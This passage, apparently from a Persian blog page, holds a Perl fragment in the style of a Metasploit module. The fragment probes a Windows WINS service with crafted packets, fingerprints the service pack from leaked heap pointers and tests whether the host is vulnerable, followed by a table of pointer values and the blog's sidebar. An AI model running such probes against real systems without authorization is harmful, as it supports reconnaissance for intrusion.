"\x00\x00\x00\x29\x00\x00\x78\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x02\x00\x05".
"\x00\x00\x00\x00\x60\x56\x02\x01\x00\x1F\x6E\x03".
"\x00\x1F\x6E\x03\x08\xFE\x66\x03\x00";

my $s = Msf::Socket::Tcp->new
(
"PeerAddr" => $target_host,
"PeerPort" => $target_port,
);

if ($s->IsError) {
$self->PrintLine("[*] Socket error: " . $s->GetError());
return [-2, $fprint, $self->CheckCode("Connect") ];
}

$s->Send($req);
my $res = $s->Recv(-1, 5);
if (! $res) {
$self->PrintLine("[*] No response to WINS probe.");
$s->Close;
return [-1, $fprint, $self->CheckCode("Connect") ];
}

my @ptrs = ( unpack("N", substr($res, 16, 4)), unpack("VVV", substr($res, 32)) );
$self->PrintDebugLine(1, sprintf("[*] Pointers: [0x%.8x] 0x%.8x 0x%.8x 0x%.8x", @ptrs));


my ($os, $sp, $vi) = ("2000", "?", "?");

# Windows 2000 versions
$sp = "0" if $ptrs[3] == 0x77f8ae78;
$sp = "1" if $ptrs[3] == 0x77f81f70;
$sp = "2" if $ptrs[3] == 0x77f82680;
$sp = "3" if $ptrs[3] == 0x77f83608;
$sp = "4" if $ptrs[3] == 0x77f89640;
$sp = "4++" if $ptrs[3] == 0x77f82518;

# Probably not Windows 2000...
$os = "?" if $sp eq "?";

# Windows NT 4.0
if ($ptrs[0] > 0x02300000 && $ptrs[0] < 0x02400000) {
$os = "NT";
$sp = "?";
}

# Heap is still pristine...
$vi = 1 if $ptrs[0] == 0x05371e90;

# Store the fingerprints....
$fprint->{"os"} = $os;
$fprint->{"sp"} = $sp;
$fprint->{"vi"} = $vi;

# Probe to test vulnerability
$req = "\x00\x00\x00\x0F\x00\x00\x78\x00". substr($res, 16, 4).
"\x00\x00\x00\x03\x00\x00\x00\x00";
$s->Send($req);
$res = $s->Recv(-1, 3);

$s->Close;

if (substr($res, 6, 1) eq "\x78") {
return [1, $fprint, $self->CheckCode("Appears") ];
}

return [0, $fprint, $self->CheckCode("Safe") ];
}

1;

__END__
SP0 [0x05371e90] 0x053dffa4 0x77fb80db 0x77f8ae78
SP1 [0x05371e90] 0x0580ffa4 0x77fb9045 0x77f81f70
SP2 [0x05371e90] 0x053dffa4 0x77fb9da7 0x77f82680
SP3 [0x05371e90] 0x053dffa4 0x77f82b95 0x77f83608
SP4 [0x05371e90] 0x053dffa4 0x77f98191 0x77f89640
SP4 [0x00000040] 0x053dffa4 0x77f98191 0x77f89640 (patched)
SP4 [0x0000003e] 0x053dffa4 0x77f81f55 0x77f82518 (mostly patched)

NT4
YES [0x023b1e98] 0x0014c3f0 0x00000048 0x00000000
NOT [0x023d1dc8] 0x0014de60 0x00000048 0x0000023f
YES [0x023b1ea0] 0x00000048 0x00000009 0x0000023e

2K3 [0x00000040] 0x044bf584 0x01013c25 0x000003ac


نظر شما( )
<   <<   21   22   23   24   25   >>   >

لیست کل یادداشت های این وبلاگ

چگونه کتابخوان تر شویم؟
دانستنی های کوتاه
دانــستـــنی هـای جـــــالـــــــب
جهان در صدسال
28جمله از دکتر حسابی
الماس های معروف دنیا
معنی گلها
انیشتن
راز شمع (( در درمان و ارزو ها))
یا ذهن می تواند آینده را پیش بینی نماید؟
موبایل ومغز
آیا می دانید
خودرو و رنگها
نامگذاری محلات قدیمی تهران
پرچمدار ارتباطات با دور
[همه عناوین(1944)]

بالا

  [ خانه| مدیریت| ایمیل من| پارسی بلاگ| شناسنامه ]

بازدید

281919

بازدید امروز

407

بازدید دیروز

460

حضور و غیاب
یــــاهـو


 RSS 


 درباره خودم


 لوگوی وبلاگ

شهرستان مهر*** انجمن مهندسان

 پیوندهای روزانه


 اوقات شرعی

 فهرست موضوعی یادداشت ها

 لینک دوستان

مهندسی مکانیک
بی تاب

لوگوی دوستان




اشتراک